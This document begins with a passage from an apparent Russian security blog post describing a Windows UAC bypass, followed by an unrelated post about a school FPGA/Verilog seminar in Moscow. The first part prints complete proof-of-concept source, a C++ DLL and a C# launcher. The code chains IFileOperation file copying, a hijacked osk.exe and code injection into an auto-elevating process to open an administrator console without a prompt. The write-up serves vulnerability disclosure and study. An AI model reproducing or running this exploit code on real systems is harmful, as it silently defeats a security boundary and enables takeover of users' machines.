Подготавливается виртуальная машина, куда установлена только Visual Studio и пишется простая программа — она копирует osk.exe и библиотеку с полезной нагрузкой. Все отлично работает. Запускаем бинарный файл и спустя мгновение на экране творится магия автоматизации.
Вот это уже можно назвать эксплоитом — все-таки программа без участия пользователя обходит UAC. Пользователь, конечно, все это видит, но не беда — это мелочи.
Это была первая версия эксплоита — две эскалации (autoElevate и UIAccess), но пользователь видит, что происходит что-то не то.
Я отправился перечитывать Windows Internals Руссиновича в тех главах, где упоминается UIAccess и UIPI. Внезапно, русским по белому там было написано, что UIPI предотвращает использование [SetWindowsHookEx](https://msdn.microsoft.com/ru-ru/library/windows/desktop/ms644990(v=vs.85).aspx). Но я как раз обошел UIPI, а значит мог использовать эту функцию — так стало еще лучше! Я смог провести инъекцию кода, вместо отправки клавиатурных нажатий. Вот и вторая версия эксплоита — те же эскалации, но теперь без заметных действий на экране. Почти сразу после запуска эксплоита запускалась привилегированная консоль.
### Directory bypass
На этом этапе я написал письмо с описанием уязвимости, кодом эксплоита и пошаговым объяснением в Майкрософт. Реакция саппорта немного удивила — они спрашивали: «Получается, что для запуска вашего эксплоита нужны права администратора?». Попытка объяснить, что это не эскалация привилегий с пользователя до администратора, а обход UAC, успехом не увенчалась.
Последнее, что можно было улучшить — убрать требование директории, доступной на запись. Для начала я решил попробовать старый способ с WUSA.
**Краткое описание копирования файлов с помощью WUSA**Wusa.exe — еще одно приложение с автоматическим поднятием уровня привилегий. Можно запустить это приложение, указав файл cab-архива и опцией /extract. WUSA распакует файл из архива по указанному пути. Cab-архив можно сделать с помощью стандартной утилиты makecab.
Сначала я попробовал «распаковать» произвольный файл в C:\windows\system32. Получил ошибку отказа в доступе. Логично, я давно читал, что вроде бы этот способ убрали. Но на всякий случай решил проверить с путем в Program Files. Утилита отработала, файл скопировался. Вот теперь запахло жареным — необходимость папки с правами на запись в Program Files постепенно пропадала.
Но от способа с WUSA я решил отказаться. В Windows 10 (10147) у приложения убрали опцию /extract. Тем не менее я не унывал. На примере WUSA я понял, что не всегда защита C:\Windows означает защиту C:\Program Files. Кроме WUSA был еще способ копировать файлы без запроса UAC — интерфейс IFileOperation.
**IFileOperation**Процесс с Medium IL и запущенный из безопасного места (примерно те же, что и в UIAccess), может использовать интерфейс IFileOperation с автоматическим повышением прав.
Дальше было несложно. Я написал код, использующий этот метод (вот она, третья автоматическая эскалация), и он отлично отработал. Для надежности я взял чистую виртуальную машину с максимальным количеством установленных обновлений последней версии Windows 10 (RS2, 15063). Это было особенно важно, поскольку RS2 как раз исправлял часть обходов UAC. И вся моя цепочка прекрасно отработала на этой версии. Это и есть третья версия эксплоита, с 3 эскалациями, без каких-либо специальных требований.
Техническое описание
--------------------
Работоспособность эксплоита тестировалась на Windows 8, Windows 8.1 и Windows 10 (RS2, 15063) — техника работает. С вероятностью в 99% будет работать и в младших версиях, начиная с Windows Vista, но потребуются правки (другое имя и таблица экспорта для dll на 2 и 3 шагах). Настройки UAC должны быть выставлены по-умолчанию, и пользователь, от которого происходит запуск инициирующей программы, должен входить в группу администраторов ПК.
**Шаг 1.** Программа запускается без запроса предоставления привилегий. IL программы Medium, что позволяет сделать инъекцию кода в процесс explorer.exe (например, через SetWindowsHookEx).
**Шаг 2.** Код, работающий в контексте explorer.exe, инициирует файловую операцию копирования через IFileOperation. Происходит первая автоматическая эскалация привилегий — explorer.exe считается доверенным процессом, поэтому ему позволяется копировать файлы в Program Files без запроса подтверждения UAC. В любую папку в Program Files копируется системный файл osk.exe, изначально расположенный C:\Windows\system32\osk.exe. Рядом копируется библиотека с полезной нагрузкой под именем osksupport.dll.
**Шаг 3.** Запускается только что скопированный osk.exe. Поскольку выполняются все требования для предоставления UIAccess, то файл имеет High IL — происходит вторая автоматическая эскалация привилегий (поднят только IL, но прав администратора все еще нет). Сразу после старта срабатывается Dll-инъекция и в контексте данного процесса исполняется код из osksupport.dll. Полезная нагрузка этой библиотеки ожидает старта привилегированного процесса, чтобы провести инъекцию кода в него.
**Шаг 4.** Запускается любой процесс, который автоматически поднимается в правах до администратора (например, многострадальный eventvwr.exe, это третья эскалация). В него происходит инъекция кода. В данный момент код будет исполняться с привилегиями администратора.
Proof of Concept
----------------
PoC состоит из двух частей — dll (написана на c++) и exe (написан на c#). Сначала необходимо собрать dll и подключить эту библиотеку как ресурс для кода приложения. Обязательно обратите внимание на комментарии в коде.
**DLL**
```
#include
#include
#include
#pragma comment(lib, "Ole32.lib")
#pragma comment(lib, "shell32.lib")
void WINAPI InitializeOSKSupport() {}; // this function must be exported!
void WINAPI UninitializeOSKSupport() {}; // this function must be exported!
int WINAPI hook(int code, WPARAM wParam, LPARAM lParam) { return (CallNextHookEx(NULL, code, wParam, lParam)); };
HINSTANCE hinstance;
void CopyFile(LPCWSTR pszSrcItem, LPCWSTR pszNewName, LPCWSTR pszDest)
{
IFileOperation \*pfo;
IShellItem \*psiFrom = NULL;
IShellItem \*psiTo = NULL;
HRESULT hr = CoInitializeEx(NULL, COINIT\_APARTMENTTHREADED | COINIT\_DISABLE\_OLE1DDE);
if (SUCCEEDED(hr))
{
OutputDebugString(L"[OSK\_DLL\_PWN] CoInitializeEx");
hr = CoCreateInstance(CLSID\_FileOperation, NULL, CLSCTX\_ALL, IID\_PPV\_ARGS(&pfo));
if (SUCCEEDED(hr))
{
OutputDebugString(L"[OSK\_DLL\_PWN] CoCreateInstance");
hr = pfo->SetOperationFlags(FOF\_NOCONFIRMATION |
FOF\_SILENT |
FOFX\_SHOWELEVATIONPROMPT |
FOFX\_NOCOPYHOOKS |
FOFX\_REQUIREELEVATION |
FOF\_NOERRORUI);
if (SUCCEEDED(hr))
{
OutputDebugString(L"[OSK\_DLL\_PWN] SetOperationFlags");
hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID\_PPV\_ARGS(&psiFrom));
if (SUCCEEDED(hr))
{
OutputDebugString(L"[OSK\_DLL\_PWN] SHCreateItemFromParsingName");
if (NULL != pszDest)
{
hr = SHCreateItemFromParsingName(pszDest, NULL, IID\_PPV\_ARGS(&psiTo));
}
if (SUCCEEDED(hr))
{
OutputDebugString(L"[OSK\_DLL\_PWN] SHCreateItemFromParsingName 2");
hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);
}
}
if (SUCCEEDED(hr))
{
hr = pfo->PerformOperations();
WCHAR buff[100] = { 0 };
wsprintf(buff, L"[OSK\_DLL\_PWN] PerformOperations = %d %.8x", hr, hr);
OutputDebugString(buff);
}
}
pfo->Release();
}
CoUninitialize();
}
}
DWORD WINAPI explorerThread(LPVOID)
{
CopyFile(L"C:\\windows\\system32\\osk.exe", L"osk.exe", L"C:\\Program Files\\Windows Media Player");
WCHAR pathDll[1000] = { 0 };
GetModuleFileName(hinstance, pathDll, 1000);
OutputDebugString(pathDll);
CopyFile(pathDll, L"osksupport.dll", L"C:\\Program Files\\Windows Media Player");
return 0;
}
void Payload()
{
OutputDebugString(L"[OSK\_DLL\_PWN] Payload!");
WCHAR pathApp[1000] = { 0 };
GetModuleFileName(NULL, pathApp, 1000);
OutputDebugString(pathApp);
wcsupr(pathApp);
if (wcsstr(pathApp, L"OSK.EXE"))
{
OutputDebugString(L"[OSK\_DLL\_PWN] Inside osk.exe");
HOOKPROC addr = (HOOKPROC)GetProcAddress(hinstance, "hook");
SetWindowsHookEx(WH\_CALLWNDPROC, addr, hinstance, 0);
Sleep(5000);
TerminateProcess(GetCurrentProcess(), 0);
}
if (wcsstr(pathApp, L"UACBYPASS.EXE")) // here must be name of exe-part
{
OutputDebugString(L"[OSK\_DLL\_PWN] Inside uacbypass.exe");
HOOKPROC addr = (HOOKPROC)GetProcAddress(hinstance, "hook");
SetWindowsHookEx(WH\_CALLWNDPROC, addr, hinstance, 0);
}
if (wcsstr(pathApp, L"MMC.EXE"))
{
OutputDebugString(L"[OSK\_DLL\_PWN] Inside mmc.exe");
STARTUPINFO si;
PROCESS\_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(π, sizeof(pi));
WCHAR path[100] = L"C:\\windows\\system32\\cmd.exe";
if (!CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &si, π))
{
OutputDebugString(L"[OSK\_DLL\_PWN] Spawn cmd failed");
}
TerminateProcess(GetCurrentProcess(), 0);
}
if (wcsstr(pathApp, L"EXPLORER.EXE"))
{
OutputDebugString(L"[OSK\_DLL\_PWN] Inside explorer.exe");
DWORD dw= 0;
CreateThread(NULL, NULL, explorerThread, NULL, 0, &dw);
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul\_reason\_for\_call, LPVOID lpReserved)
{
switch (ul\_reason\_for\_call)
{
case DLL\_PROCESS\_ATTACH:
hinstance = hModule;
Payload();
break;
case DLL\_THREAD\_ATTACH:
case DLL\_THREAD\_DETACH:
case DLL\_PROCESS\_DETACH:
break;
}
return TRUE;
}
```
**EXE**
```
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using UACBypass.Properties;
namespace UACBypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Extract payload-dll");
File.WriteAllBytes("Payload.dll", Resources.oskDllPwn); // dll resource here
Console.WriteLine("Exec payload-dll");
LoadLibrary("Payload.dll");
Console.WriteLine("Wait for apply 5s...");
Thread.Sleep(5000);
Console.WriteLine("Start elevator");
Process.Start("C:\\Program Files\\Windows Media Player\\osk.exe");
Thread.Sleep(500);
Console.WriteLine("Start target app");
Process.Start(@"C:\Windows\system32\eventvwr.exe");
}
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
}
}
```
Готовый к эксплуатации бинарный файл не выкладывается осознанно. Не менее осознанно исходные коды не выкладываются на гитхаб.
Я бы хотел обратить особое внимание читателей, на тот факт, что эта статья описывает не уязвимость в каких-то приложениях. Osk.exe и eventvwr.exe здесь только для примера, я мог бы взять другую пару из примерно 150 вариантов (5 вариантов для osk × 30 вариантов для eventvwr). Мне кажется, что сам механизм поднятия привилегий и UAC «поломатые». А что думаете вы?
Другие статьи блога
-------------------
→ [Отчёт Центра мониторинга информационной безопасности за I квартал 2017 года](https://habrahabr.ru/company/pm/blog/326810/)
Мои крутые коллеги в реальном времени следят за атаками и сразу же их предотвращают.
→ [Жизнь без SDL. Зима 2017](https://habrahabr.ru/company/pm/blog/325716/)
Пока разработчики повсеместно не используют SDL у меня всегда будет работа. | https://habr.com/ru/post/328008/ | null | ru | null |
# Как я не готовился и провел роснановский семинар по ПЛИС-ам в Москве. Планы сделать то же в Лас-Вегасе и Зеленограде
У вас бывает такой сон: вы оказываетесь на экзамене или выступаете перед некоторой аудиторией, и вдруг осознаете, что вы вообще не готовились и сейчас прийдется импровизировать. Именно в такой ситуации, но не во сне, а в реале, я оказался перед майскими праздниками в Москве, куда прилетел из Калифорнии, чтобы провести трехдневный семинар для тщательно отобранных школьников ведущих московских физматшкол. Под эгидой РОСНАНО, в гимназии РУТ (МИИТ) и в присутствии преподавателей из МИЭТ, МИРЭА, МИФИ, МЭИ и ВШЭ МИЭМ.
Московские коллеги на меня понадеялись, и теоретически я должен был бы привезти с собой пошаговые инструкции и примеры разнообразных упражнений на плате с микросхемой реконфигурируемой логики. Реально у меня была куча каких-то примеров для других плат, из которых я в суматохе перелетов и других мероприятий ничего не построил.
Поэтому я взял некий универсальный пример, который написал полтора года назад, сидя в самолете Алма-Ата — Астана, выкинул из примера все внутренности и начал со школьниками его наполнять, без жесткого плана чем. И как ни странно — это получилось. В процессе наполнения возникли поучительные моменты цифровой схемотехники и языка описания аппаратуры Verilog, которые при планировании бы не возникли.
4 июня я с коллегами по Wave Computing провожу похожий семинар в Лас-Вегасе, но только для взрослых, а 8-19 июля помогаю МИЭТ провести летнюю школу в Зеленограде. Планы этих мероприятий (не окончательные, а для обсуждения в группе преподавателей и инженеров, в том числе здесь, на Хабре) — в конце поста.
Зачем нужен семинар по ПЛИС-ам школьникам? Программируемые логические интегральные схемы (ПЛИС-ы или FPGA — Field Programmable Gate Arrays) — это традиционный способ закрепления знаний практикой при изучении проектирования цифровых схем на уровне регистровых передач, с использованием языков описания аппаратуры. Иными словами, ключевой технологии для разработки айфонов — микросхемы внутри айфонов спроектированы именно так. Отставание России по айфонам произошло в том числе потому, что лабы по ПЛИС-ам, микроархитектуре и языкам описания аппаратуры внедрили в Беркли и MIT еще в начале 1990-х, а в России из-за коллапса СССР — сильно позже.
Последний роснановский семинар прошел на удивление гладко прежде всего потому, что школьники, которые на него пришли, предварительно прошли теоретический онлайн-курс с профориентационным обзором современных методов проектирования микросхем. Онлайн курс предназначен для продвинутых школьников олимпиадного типа и состоит из трех модулей: [«От транзистора до микросхемы»](https://stemford.org/#course?id=6410690722451343819), [«Логическая сторона цифровой схемотехники»](https://stemford.org/#course?id=6410690722451344036) и [«Физическая сторона цифровой схемотехники»](https://stemford.org/#course?id=6410690722451344042). В этом курсе школьники знакомятся с так называемым маршрутом RTL2GDSII — группой технологий, которые используют инженеры в электронных компаниях для проектирования массовых чипов, Application Specific Integrated Circuits — ASIC. ПЛИС/FPGA используются для прототипирования ASIC-ов, в том числе в таких компаниях как Intel, Apple и NVidia.
Так как школьники прошли онлайн-курс, они уже выучили, что такое D-триггер, конечный автомат, логический синтез и трассировка. Язык описания аппаратуры они тоже видели в онлайн-курсе. Теперь эти знания, которые лежали в пассивном виде в их памяти, нужно было только оживить.
Я теперь буду всегда для любых семинаров в странах СНГ (помимо уже запланированных семинаров, у меня есть предложения провести это в Минске, Сочи и Якутске) ставить условие, чтобы принимающая сторона предварительно пропускала школьников или студентов через три модуля онлайн-курса, так как после него остаются только мотивированные люди, которые все нудные аспекты уже прошли, и для подкрепления остается чистое творчество, последний момент, типа падение яблока, ударившего Ньютона по голове. Кроме этого, онлайн-курс привязывает всю эту деятельность к взрослым профессиям, следующему этапу, рисует дальнюю цель.
Итого, до полета в Москву я запустил универсальный пример у себя дома в Саннивейл, Калифорния. [Код примера](https://github.com/yuri-panchul/2017-year-end/tree/master/a_c4e6e10):
В первый день практического семинара мы попрактиковались с микросхемами малой степени интеграции на макетной плате. Этой технологии 50 лет, но никто не придумал лучше, как наглядно, в реале, а не в симуляции, показать работу например D-триггеров. Хотя многим современным учителям технологии в школах кажется, что это устарело и ненужно, но в курсе 6.111 Массачусетского Технологического Института сейчас, в 2018/2019 учебном году, первая лаба по цифровой схемотехнике проходит именно так, с микросхемами малой степени интеграции — см. <http://web.mit.edu/6.111/volume2/www/f2018/index.html>.
Кроме этого, на примере соединения микросхем малой степени интеграции с кнопками удобно объяснять, что такое, зачем нужны и как работают подтягивающие резисторы. И почему они при ненажатой кнопке дают потенциал 0, и как это связано с делителем напряжения.
Еще когда на примере с микросхемой малой степени интеграции перегорает светодиод, то школьники получают жизненный опыт, что ставить резистор туда — обязательно. Если же они увидят это на экране компьютера в софтверном симуляторе макетной платы, они такого жизненного опыта не получат, так как на экране можно нарисовать все что угодно и школьники не будут уверены, что перегорание — это правда.
Вот как наглядно на микросхемах малой степени интеграции видна функция D-триггера:
Второй день начался с исторического эскурса: как проектировали микросхемы 50 лет назад и как это дважды революционно изменилось с тех пор. Одна из революций наложилась на коллапс СССР и это главная техническая причина, почему в России нет своих айфонов.
На 8.45 история, как в мировом океане выловили советский буй-шпион, который следил за движением американских кораблей, и к чему это привело.
На 13.03 история о том, как одна публикация блогера Джона Кули сместила всю мировую индустрию с VHDL на Verilog.
На 16.10 история о том, как Microsoft Windows проиграла Линуксу как платформе для работы проектировщиков микросхем.
В этой части — демонстрация, как запустить программу для синтеза цифровой логики и прошивке конфигурации в ПЛИС. Двумя способами — с помощью запуска скрипта под Линуксом и в интегрированной графической оболочке. Также краткое описание содержания демонстрационного примера. После этого галопа по Европам школьники усаживаются за графическую оболочку и делать простые упражнения, начиная с логических элементов И-ИЛИ-НЕ, входы которых подсоединены к кнопкам, а выходы к светодиодам. Примерно в таком духе:
```
module top (input [2:0] key, output [7:0] led);
wire a = ~ key [0]; // Кнопка выдает 0, когда нажата, поэтому ее нужно инвертировать
wire b = ~ key [1];
wire c = a & b;
assign led [0] = ~ c; // Светодиод тоже горит, когда на входе 0 и его тоже нужно инвертировать
endmodule
```
По ходу дела возникли сразу два интересных вопроса. Во-первых, поначалу я сам забыл, что на этой плате и кнопки, и светодиоды инвертированы. То бишь когда кнопка нажата, то на проводе 0, а когда не нажата — то 1. И когда на светодиод подать 0, он горит, а когда 1 — не горит. Если про инвертированность не знать, то логический элемент И (led [0] = key [0] & key [1]) начинает вести себя как ИЛИ, а ИЛИ — как И. Законы де Моргана в действии! ~ (a & b) == ~ a | ~ b, а также ~ (a | b) == ~ a & ~ b.
Но даже после поправки у некоторых школьников это дело все равно работало наоборот. Тогда я посмотрел в их код и обнаружил, что когда они переписывали код, который я написал на доске, то они подумали, что "~" (тильда) — это "-" (минус). Это дало мне отличный повод рассказать по различие между [прямым](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D1%8F%D0%BC%D0%BE%D0%B9_%D0%BA%D0%BE%D0%B4) и [дополнительным](https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%B4) кодом, а также почему для однобитных чисел (- 0) == 0 и (- 1) == 1, в то время как (~ 0) == 1 и (~ 1) == 0. А также что чтобы для многобитных чисел в дополнительном коде вычислить его отрицание, достаточно его побитово инвертировать и прибавить единицу: — a == ((~ a) + 1).
Продолжение — части [2.3](https://youtu.be/cneNfaMAvIA), [2.4](https://youtu.be/yHPEl82a33M), [2.5](https://youtu.be/u2e9ZEI-fsw).
Все занятие проходило под Линуксом, точнее под Lubuntu 18.04 с установленным на нем Intel FPGA Quartus II. Lubuntu грузился с SSD, на которых также был установлен Intel FPGA Quartus II Lite Edition 18.1. Для загрузки с SSD нужно просто воткнуть его в USB 3.0 порт, включить компьютер и нажать F12. Потом войти в меню и сказать «грузить с USB».
Хотя софтвер для синтеза для FPGA есть и под Windows, но Линукс хорош по двум причинам:
1. Линукс способен работать на более слабомощных компьютерах, чем Windows. Например у меня есть ноут с 2 гигабайтами памяти, так Intel FPGA / Altera Quartus II под Windows на нем ложится, а под Linux нормально работает.
2. Все взрослые разработчики массовых чипов в Apple, NVidia и других электронных компаниях используют Линукс, на котором работают программы Synopsys Design Compiler, Synopsys IC Compiler, Synopsys VCS, Cadence IES итд.
Почему лучше все делать на загружаемых SSD, а не ставить на компьютеры в учебный класс? Потому что установка софтвера от FPGA компаний — это довольно муторный процесс, и вокруг Altera Quartus или Xilinx Vivado нужно бегать с бубном, менять файлы в /etc и устанавливать старые 32-битные библиотеки для некоторых компонент, в частности для бесплатной версии Mentor ModelSim. Некоторые библиотеки приходится вообще собирать из исходников. Есть [скрипты от Станислава Жельнио](https://github.com/zhelnio/ubuntu-hdl-tools-install), которые это все делают автоматически, но даже и с этим скриптом установка всего на компьютер займет пару часов.
Почему бы не делать все на виртуальных машинах? Например с VirtualBox? Мы пробовали это в МГУ и других местах, но там могут возникнуть глюки с протаскиванием USB. Загружаемые SSD с Lubuntu выглядит как оптимальный вариант.
Чтобы подготовить набор SSD для семинара, нужно поставить все на один SSD, после чего клонировать его вот такой командой, которая позволяет сразу писать на три SSD с одного:
```
time sudo dcfldd if=/dev/sdb bs=1M of=/dev/sdc of=/dev/sdd of=/dev/sde
```
Тут нужно знать, что не все SSD enclosures поддерживают Линукс, например Kingwin Data Star портит диски. Правильные enclosures — Orico и Eluteng.
Также я не рекомендую пытаться заменить SSD простыми загружаемыми USB флэшками. Хотя на USB флэшках оно тоже работает, но некоторые операции невероятно тормозят, вызывает дискомфорт и раздражение. А вот на загружаемых SSD драйвах с USB 3.0 все летает быстрее, чем Линукс на внутреннем хард-драйве.
Я также пробовал втыкать загружаемый SSD-драйв в Apple Mac, нажимая при загрузке клавишу Option, но у меня не получилось. Ни через USB 3.1 порт, ни через 3.0. Похоже, Mac при загрузке не хочет понимать то ли Ext4 file system, то ли partition table. Если ли среди моих читателей маководы и при этом линуксоиды? Было бы интересно узнать, что делать (помимо опции использования VirtualBox или других виртуальных машин).
Интересно, что только 2 школьника из всей группы использовали Linux до семинара. Для меня это очень странно, так как на месте российского Минобра я бы пересадил все школы России на Линукс еще 10 лет назад, когда Ubuntu стал user-friendly. Помимо Ubuntu можно было бы сделать специальную российскую версию Линукса для образования. Виндоус засоряется вирусами, за него нужно платить лицензионные отчисления, чем Windows лучше Linux для скажем школьных курсов программирования на Питоне? Или школьникам не хватит Google docs, а нужен именно Microsoft Word? Я просто не понимаю.
[Даже южнокорейское правительство решило в 2020 году переключиться на Линукс](http://www.koreaherald.com/view.php?ud=20190517000378).
В любом случае, на моем семинаре никаких проблем с Линуксом у школьников не было, хотя, как я уже сказал, большинства школьников использовали его впервые.
На начало третьего дня я опоздал, потому что меня пригласили прочитать лекцию в российское отделение Samsung и мероприятие затянулось на 3 часа (вы можете скачать слайды лекции: [1](http://silicon-russia.com/public_materials/2019_04_22_mips_open_meetup_and_skolkovo_robotics_and_ai_presentations/yuri_panchul_moscow_2019_04_15_part_1_triton_ai_platform.pdf), [2](http://silicon-russia.com/public_materials/2019_04_22_mips_open_meetup_and_skolkovo_robotics_and_ai_presentations/yuri_panchul_moscow_2019_04_15_part_2_mips_cores.pdf), [3](http://silicon-russia.com/public_materials/2019_04_22_mips_open_meetup_and_skolkovo_robotics_and_ai_presentations/yuri_panchul_moscow_2019_04_15_part_3_mips_open.pdf) и [статью о части содержания](http://www.storagenews.ru/def_news.asp?Code=4772)), после чего я проголодался и только во время поедания гречки и оливье в Муму (этого мне сильно не хватает в Калифорнии) обнаружил, что мое занятие в гимназии начнется через 5 минут.
Тогда я позвонил Александру Силантьеву из МИЭТ и попросил начать занятие без меня. Еще в предыдущий день школьники начали упражняться с семисегментным индикатором, выводя одну букву. Теперь, если скрестить вывод одной буквы с сдвиговым регистром, то можно реализовать вывод на многоразрядный динамический семисегментный индикатор, и заодно школьники выучат, как кодировать на верилоге последовательностную логику.
План удался на славу — когда я вошел в класс, у некоторых школьников по динамическому индикатору уже медленно бегали буквы, и чтобы они слились в слова, достаточно было только поднять частоту генерации разрешающего сигнала (enable) для сдвигового регистра:
Потом я передал слово Станиславу Жельнио [sparf](https://habr.com/ru/users/sparf/) из IVA Technologies, и он кратко обрисовал, как перейти от простых блоков логики с крохотному, но совершенно настоящему процессору (см. [посты Станислава на Хабре](https://habr.com/ru/users/sparf/posts/) и [schoolMIPS на GitHub](https://github.com/MIPSfpga/schoolMIPS/wiki)):
[Продолжение лекции Станислава Жельнио](https://youtu.be/2ceZEvXb_jE)
Семинар проводился в Гимназии Российского университета транспорта (МИИТ). На семинаре и до него помогли Ирина Груничева и Глеб Романов (еНано); Алексей Переверзев, Александр Силантьев и Евгений Примаков из МИЭТ, Александр Романов из ВШЭ МИЭМ и его студенты, Алексей Кочнов из НИИСИ, Лига Роботов (obraz.pro), Павел Кириченко (МЦСТ, Интел, автор книг [bhv.ru/books/book.php?id=201192](http://bhv.ru/books/book.php?id=201192) ), Егор Кузмин из ИППМ РАН, Дарья Криворучко, школьница из СУНЦ, была в ЛШЮП, Тимофей Черкасов (Академия цифровых технологий Санкт-Петербурга, Школа инженерного мышления ЛНМО), Александр Бакеренков и Юлия Шалтаева из Предуниверситария МИФИ, Владимир Воронцов из МЭИ, Евгений Певцов из МИРЭА, Виталий Кравченко из Наутеха, Аркадий Поляков и Сергей Певченко из МЭИ.
Руслан Тихонов из Амперки принес компоненты для упражнений с микросхемами малой степени интеграции.
Издатель Дмитрий Мовчан, из ДМК Пресс, подарил каждому участнику полезные книжки — толстый всеобъемлющий учебник Дэвид Харрис и Сара Харрис, Цифровая схемотехника и архитектура компьютера, и легкое чтение от А. Хидэхару, Занимательная электроника. Цифровые схемы. Манга.
Максим Маслов, связанный с МФТИ, пришел на семинар и пожертвовал FPGA плат на летние школы (а раньше говорили, что в России мало благотворительности на нужды образования).
Что же будет дальше? А дальше будет два мероприятия, которые расширят и углубят то, что мы делали на Гимназии РУТ. 8-26 июля будет летняя школа МИЭТ в Зеленограде. Вот предложение по ее программе. Ее первые две недели состоит из пяти частей:
1. Основы цифровых схем на микросхемах малой степени интеграции.
2. Простые упражнения с комбинационной и последовательностной логикой на плате ПЛИС.
3. Использование ПЛИС для контроля графического дисплея.
4. Устройство и реализация на ПЛИС простейшего микропроцессора.
5. Индивидуальные проекты создания игр а-ля упрощенной Angry Birds, как на основе конечного автомата чисто в хардвере ПЛИС, так и с программным управлением от простейшего процессора, синтезированного в ПЛИС.
Но еще до школы 4 июня будет семинар в Лас-Вегасе, на котором мы будем разбираться не со школьным процессором, а и индустриальным.
Более подробная программа в Зеленограде:
Неделя 1. Основы цифровой логики.
День 1. Микросхемы малой степени интеграции, упражнения с комбинаторной логикой
День 2. Микросхемы малой степени интеграции, упражнения с последовательностной логикой
День 3. ПЛИС, упражнения с кнопками, переключателями, LED, семисегментным индикатором
День 4. ПЛИС, вывод геометрических фигур на VGA
День 5. ПЛИС, конечный автомат для Angry Birds
Неделя 2. Процессор
День 1. Программирование на языке ассемблера.
День 2. Однотактовый процессор schoolMIPS.
День 3. Интерация процессора с выводом геометрических фигур на VGA.
День 4. Лекция про прерывания и многозадачность. Индивидуальный проект — программируемая на процессоре видео игра с выводом на VGA.
День 5. Лекция про конвейер. Конкурс индивидуальных проектов.
Неделя 1. День 1. Микросхемы малой степени интеграции.
1.1. Упражнения с комбинаторной логикой.
1.1.1. Логический элемент XOR на CD4070, без кнопок и подтягивающих регистров — повторить демонстрацию.
1.1.2. Логический элемент XOR, добавить кнопки и подтягивающие регистров — повторить демонстрацию.
1.1.3. Индивидуальное задание — по datashit построить демонстрацию одного из логических элементов AND/OR/NOT/XOR/NOR/NAND/XNOR, с двумя, тремя, четырьмя или восемью входами:
1.1.3.1. CD4081, Quad 2-Input AND
1.1.3.2. CD4071, Quad 2-Input OR
1.1.3.3. CD4011, Quad 2-Input NAND
1.1.3.4. CD4001, Quad 2-Input NOR
1.1.3.5. CD4073, Triple 3-Input AND
1.1.3.6. CD4025, Triple 3-Input NOR
1.1.3.7. CD4082, Dual 4-Input AND
1.1.3.8. CD4072, Dual 4-Input OR
1.1.3.9. CD4012, Dual 4-Input NAND
1.1.3.10. CD4002, 4-Input NOR
1.1.3.11. CD4068, 8-input AND NAND
1.1.3.12. CD4078, 8-Input NOR
1.2. 7-сегментный индикатор с общим катодом.
1.2.1. Собрать на макетной плате с резисторами, попробовать индивидуальные сегменты.
1.2.2. Комбинация с драйвером 7-сегментного индикатора, CD4511, BCD to 7-Segment Latch Decoder.
1.2.3. Вариант — индикатор с общим анодом. Скомбинировать с инвертором CD4069, Inverter.
1.2.4. Вариант — добавить 4 кнопки с подтягивающими резисторами на вход CD4511.
1.3. Блоки комбинационной логики — индивидуальное задание в конце дня или в виде домашнего задания:
1.3.1. CD4532, 8-Bit Priority Encoder
1.3.2. CD4051, Single 8-Channel Analog Switch, used as digital decoder
1.3.3. CD4051, Single 8-Channel Analog Switch, used as digital multiplexer
1.3.4. CD4052, Dual 4-Channel Analog Switch, used as digital multiplexer
1.3.5. CD4053, Triple 2-Channel Analog Switch, used as digital multiplexer
1.3.6. CD4008, 4-Bit Combinational Adder
1.3.7. CD4063, 4-Bit Digital Comparator
1.3.8. CD4585, 4-Bit Digital Comparator
В конце дня все показывают, кто что сделал.
Неделя 1. День 2. Упражнения с последовательностной логикой.
1.2.1. Собрать генератор тактового сигнала на основе микросхемы 555. Попробовать разные конденсаторы и сопротивления.
1.2.2. D-триггер на микросхеме CD4013, Dual D-Flip-Flop With Set-Reset.
1.2.3. Индивидуальный проект:
1.2.3.1. Сдвиговый регистр на основе CD4015, Dual 4 Bit Static Shift Register, serial-in, parallel-out.
1.2.3.2. Сдвиговый регистр на основе CD4035, 4-Stage Shift Register, parallel-in, parallel-out.
1.2.3.3. Сдвиговый регистр на основе CD4014, 8-Stage Shift Register, parallel-in, serial-out.
1.2.3.4. Счетчик с выводом на светодиоды CD4029, Binary Decimal Up Down Counter.
1.2.3.5. Счетчик с выводом на 7-сегментный индикатор через драйвер.
1.2.3.6. Более сложный — комбинация из сдвиговых регистров CD4035 (parallel-in, serial-out) c serial adder CD4038. К нему нужен инвертор CD4069. До этого я продемонстрирую serial adder CD4032 без инвертора.
1.2.3.7. Более сложный — комбинация из сдвиговых регистров CD4014 (parallel-in, serial-out) c serial adder CD4038. К нему нужен инвертор CD4069.
[](http://www.silicon-russia.com/wp-content/uploads/2019/05/MVIMG_20190402_010526.jpg)
Неделя 1. День 3. ПЛИС, упражнения с кнопками, переключателями, LED, семисегментным индикатором
1.3.1. Логический элемент на комбинационной логике — ввод с кнопок, вывод на светодиоды.
1.3.2. Вывод одной буквы на семисегментный индикатор.
1.3.3. Простейший мультиплексор — вывод буквы в зависимости от нажатой клавиши. Реализация с помощью конструкций "?", «if», «case».
1.3.4. Сдвиговый регистр.
1.3.5. Вывод слова на восьмиразрядный динамический семисегментный индикатор, используя сдвиговый регистр.
1.3.6. Индивидуальный проект, возможно домашнее задание на выходные:
1.3.6.1. Фигуры на светодиодной матрице.
1.3.6.2. Змейка, бегающая по семисегментному индикатору.
1.3.6.3. Генерация сигнала звуковой частоты, звуковой орган.
1.3.6.4. Ввод с 16-кнопочной клавиатуры.
1.3.6.5. Кодовый замок — распознавание последовательности клавиш конечным автоматом.
1.3.6.6. Интеграция с сенсором — дальномеркой.
1.3.6.7. Интеграция с угловым кодером.
